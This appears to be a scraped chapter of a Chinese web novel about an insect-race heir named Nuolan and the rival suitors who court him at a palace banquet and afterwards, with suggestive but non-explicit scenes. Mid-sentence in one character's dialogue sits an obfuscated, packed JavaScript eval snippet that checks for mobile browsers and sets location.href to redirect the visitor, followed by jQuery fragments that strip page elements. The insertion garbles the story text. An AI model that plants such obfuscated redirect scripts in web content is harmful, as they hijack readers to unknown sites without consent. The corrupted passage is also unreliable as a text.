甘泉行宫上空,数十架纳米联防机发出轻微的噪音,这是军械局研发的用纳米技术联合微型化装置构成的微型防险设备,任何画面都无法逃脱它的监控,可是这条规矩似乎在迦许这里并不成立。 雄虫外表虽然俊秀,但仔细看会发现,他眉眼间有种雌性特有的矜持高贵,高挑的身材压下来,双臂撑起一个小空间,控制着诺蓝的行动,在他心绪不宁的时候,夜也突然变得潮湿阴冷起来。 “你专心一点行吗?” 迦许不满于诺蓝的三心二意,拉着诺蓝的手,揽住自己的腰。 他抱怨道:“怎么一点儿也不懂得调情,真是死板地要命,你这么笨,也不知道那些虫喜欢你什么,也就一张脸长得还不错。” “……” “会长,你这张嘴抹了毒吧?” 迦许哼笑一声,不再强求醉鬼搂他的腰,主动握住了诺蓝的腰。 诺蓝也是被他极力挤压着肺部呼吸的时候,才后知后觉想明白,这些雄虫基因里携带的暴虐本质,远远超过他年少时期对雄性的想象。 诺蓝告诉过系统,他是被遗弃的孩子,他没骗系统,但是系统问他“雪渊”和他是什么关系的时候,他说谎了。 “雪渊”是他的雄父。 虫母是他的母亲,他是虫母所产下的第一颗雌性蛋,迟迟没有孵化,所以后世的历史只记载了那些战死在星际战场的高等种们,并没有记载他的存在。 作为虫母的第一个孩子,虫母给他起名“诺蓝”,期盼他是个蓝色翅膀的蝶,没想到他和雄父一样成了小蜜蜂。 后来的事就比较悲情了,虫族在向现代文明迈进的过程中,虫母不幸牺牲,雪渊独自抚养诺蓝,诺蓝从来没有得到过母亲的宠爱,所以雄父一直对他呵护疼爱,那个时候雄父就告诉他,他是虫族唯一继承了虫母血脉的雌性,高等种中的特等种,叫他隐藏好性别,并且给他穿上隐藏虫母独特泄殖腔的内裤,外部伪装则是雌虫的腹部毛发。 诺蓝当时不知道是什么意思,还为此自卑过一段时间,他是卵群里精神力最低的虫,虽然雄父解释说虫母天生不擅长攻击,精神力低,但他还是经常为自己的C级伤心难过。(那时候的诺蓝根本没想过自己还能堕落到F级这个地步!) 直到后来,雄父突然消失了,再次传来雄父的消息时,他已经和人类签订了“脑群计划”,成了星际里饱受争议的焦点,并且坐标成谜。 “脑群计划”,表面上是为了证实虫族的脑群神经元可以帮助人类达到“高等精神力共享”的美好愿景,双方展开了合作;实际上,虫族和人类贪图的一直都是用脑域控制彼此的种族。 他们都需要虫母的群体精神控制能力,虫母也直接成为整条实验产业链里的唯一枢纽,以达到建立“脑群”,控制所有人或虫的目的。 诺蓝不知道雄父是否还爱他,从那之后,他就决定隐姓埋名,保全自己,就连私密器官的保护也从没有过一天中断。 相信卡迪瑟斯主导的猩红教团一直在制造虫母,也是为了这个计划吧… 虫族一直需要虫母,不论是繁殖、统治、建交、战争、治愈、传教、编撰。 七宗书里,唯独没有……爱。 诺蓝垂下眼睫,任由迦许把他抱紧,看着他的脑袋。 迦许那一头热烈绚烂的红发像是盛开在黑夜里的红玫瑰,或者是首都星天河畔被点亮的一簇簇篝火烟花,那样的华美、灿烂。 也许是这一时刻的晚风混杂着粒子风团的凉意,诺蓝的醉意更浓稠,迦许抬起头,索吻一般轻吻在他下颌角时,他忘了拒绝。 潮湿的嘴唇一路亲吻着他的脸颊,如同禁区,停留在唇角。 “……!!” 瓶子打碎的刺耳声音打断了优美的钢琴乐,宴会大门被推开,诺蓝如梦初醒,推开迦许,别过头,喘着气,脑袋里的酒精一下子全都没了。 而迦许攥住他的手腕,脸颊低热,压抑着喘息,低声说:“你怕什么,和我好让你感觉丢脸?我有那么见不得光?” 诺蓝没有给他正面回答,实话实说,语气呆萌:“我醉了啊,会长……” 随后雄虫一口气憋在喉咙里上不来,一脸暴躁,锋利的眼睛盯住诺蓝背后突然闯入的虫族。 “有事?” 迦许平时看上去顽劣沉默,愠怒时却给虫很大压力。 “……您该回去了,迦许阁下,身为高等种,不应该在花园里逗留,应该去结识首都星风头正盛的贵族们,这样的话,也有利于您接任家主的位置,为贵族们留下好印象。” “至于您身边这位…抱歉,我不知道他的名字,但显然,他是个不重要的虫。您是在耽误宝贵的时间,相信老菲尔文先生送您读军校,绝不是想让您在这种劣质低等种雌虫身上瞎耽误时间。” 来虫温顺恭敬但强势道,头低下,看都没看诺蓝一眼。 …… “你的对他的形容很全面,他只是一个F级的蜂族雌性,不是被追捧的对象。” “但你也只是菲尔文家族的仆虫,摆正自己的位置。” 一道冰冷的声线夹杂着淡淡的怒声传来,伴随着利落的脚步声,艾尔法大步流星走进花园。 仆虫双眼瞪大,猛地回头,看见来虫,惊慌低头:“艾尔法监察官阁下!请您别误会,这是我的失礼,和我们家迦许阁下没有关系!” “滚出去。” 雄虫冷绿的瞳孔收缩成一条可怕的竖线,高等种叠加SS级的特殊精神力场压下来,老仆虫当即跪下,冷汗直流,双膝拖行急急忙忙离开了花园。 艾尔法冷冷地看着交缠在一起的俩虫。 迦许闭了闭眼,压抑呼吸,“还没来得及恭喜你,艾尔法阁下,继任蝉族监察官的位置,稳坐议会席前列,前途光明。” 诺蓝敲了敲他的手指骨节,他的手只得松开了握着诺蓝的腰。 诺蓝也累了,靠在背后的假山石上昏昏欲睡。 潺潺流水声,掩盖了他安然的呼吸声。 艾尔法放低声音说:“谢谢阁下关心。” 他居然没有发怒,语气沉稳而平静,这倒是出乎迦许的意料。 艾尔法语气如常:“我知道诺蓝有安抚二年级虫族精神力的课业任务,自从他来到我的特战队,我也从来没有约束过他。但现在天气晚了,我需要把他带回去休息,这是我跟他的约定,请阁下把诺蓝送回我身边。” 迦许沉默片刻,将诺蓝打横抱起,左手搂住他的头,让他靠在自己胸膛,右手揽住他的腰和窄瘦的臀,朝艾尔法走过来。 他没有理由拒绝诺蓝的直系上司。 诺蓝在他怀里安安静静,睫毛盖住眼睑,脸颊难得有了一丝坨红醉意。 迦许如同脱下外骨骼武装翅一般,将诺蓝递回艾尔法的怀抱。 从一个雄虫的怀抱过渡到另一个雄虫的怀抱,从温热的胸膛来到滚烫的胸膛,诺蓝发出不安的唔咛,手指轻轻搭在艾尔法的胸前,像是幼虫一样把自己缩起来。 迦许盯着他绯红的脸,轻声道:“诺蓝在成虫变态期,你感觉得到吗?” 雌虫在性/成熟之前,需要度过漫长的二次发育阶段,才能真正进入发情期,寻找配偶。 “他很脆弱,连翅膀都不常露出来了,因为会被其他虫割伤翅脉,只不过他没有和别虫说。” 艾尔法难得对雌虫发表私虫言论,“我最近不会安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14805787|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排他做劳累的战斗训练。” 诺蓝耷拉在艾尔法臂弯里的腿渐渐变成虫尾,艾尔法礼貌而克制地向迦许点了下头,再无犹豫地回头离开。 # 诺蓝在嘴唇被揉弄的时候醒了。 那力气虽然称不上粗暴,可也不算温柔。 见诺蓝醒了,艾尔法垂下眼睫,低声说:“晚宴结束了,接下来还有两天要待在首都星环里欢度母神节,现在要去睡觉吗?” 诺蓝迷迷糊糊地点头,摸了摸自己的唇角,火辣辣的,弄不清是不是被蚊子叮了。 最讨厌的虫子就是蚊子和蟑螂,没有之一。 艾尔法抱着他,朝行宫深处的客房别墅走去。 古拉德和厄斐尼洛分别进了隔壁的房间,梅和贝利尔分别进了最里面那两间,卢卡斯和路修他们在外驻守,摩提奈不在这一栋睡,所以,只剩下倒数第三个房间空着。 他们进了这个房间,诺蓝被艾尔法放在了床上,然后艾尔法去关门,他关门的时候,墙壁发生了轻微的震颤,隔壁梅和贝利尔的闲谈声似乎也能听得到。 这楼隔音不太好。 诺蓝残存的意识想。 还是说,艾尔法的精神力不太稳,所以导致了墙体振动? “队长,你过来啊,我帮你做。” 诺蓝主动提出给他精神力疏导,艾尔法沉默着走过来,半跪在他床前,握着他的尾巴,搁在自己的大腿上,触须温顺地伸长,诺蓝摸了一下,然后欣然和他进行深度链接。 征服艾尔法一定是最难的事… 诺蓝进入艾尔法的脑域,在里面看见惊涛骇浪,水拍过来的时候,诺蓝无处可躲,全部被打湿,尾巴被夹在礁石的缝隙里,随着海浪不断击打,他抽搐着躲闪,却无论如何也逃不出海水的漩涡,只能随着海浪摇晃… 诺蓝拼尽全力让大海平稳下来,然而那海只平稳了一瞬,就快要吞噬自己了! “队长!” 诺蓝推着他的胸膛,意识到自己叫出声,赶紧腾出手来捂自己的嘴。 【还好还好,没叫很大声……这次深度链接太难了啊啊啊…唔,不要不要啊队长…我们的进度条才推到20%啊啊啊呃…那里不行!真的不可以…会、会让链接整个垮掉的…唔啊!】 隔壁突然变得安静,细碎的衣物摩擦声传来。 艾尔法的触须诡异地猛猛站直了,低头看着怀里的小蜜蜂,喉结滚了滚,看见自己的汗砸在少年的尾部鳞片上。 诺蓝还以为他终于停下来了,湿淋淋的手按住他的腰,小声恳求:“队长,你、你太强势了,不能这样,我们不能卡在20%,你的精神力经常在崩溃边缘,再这么下去你会死的!” “要怎么做?”艾尔法隐忍而温顺,跪在他尾巴边,“你教我。” 诺蓝安抚着他的触须,趁他放松的间隙,侵入他的脑域,暂时停止了大海的狂澜,可是艾尔法也因此陷入无意识沉睡,也就是说,他看上去是睡着的,其实没有睡,只是睁不开眼睛罢了。 门在这一刻被敲响,诺蓝挣扎着从地上爬起来,去开门。 “……梅队长?你还没睡?” 披着睡意的梅眼眶泛红地盯着他,目光掠过他看向艾尔法,“你们…在做?” 诺蓝抹了把汗,苦恼不已,“是啊,队长的深度链接很难做的…” 梅温柔的嗓音如蜜,眸光柔情似水,“既然和他做很累,不如试试和我做?” “我会比他更有服务精神,懂得尊重你的工作,你对我做什么都可以,无论多么过分…跟我来吧。” 然后,拥有华美金色长发的雄蝶牵住诺蓝的手,温柔但是不容拒绝地,将他带出了倒数第三间房。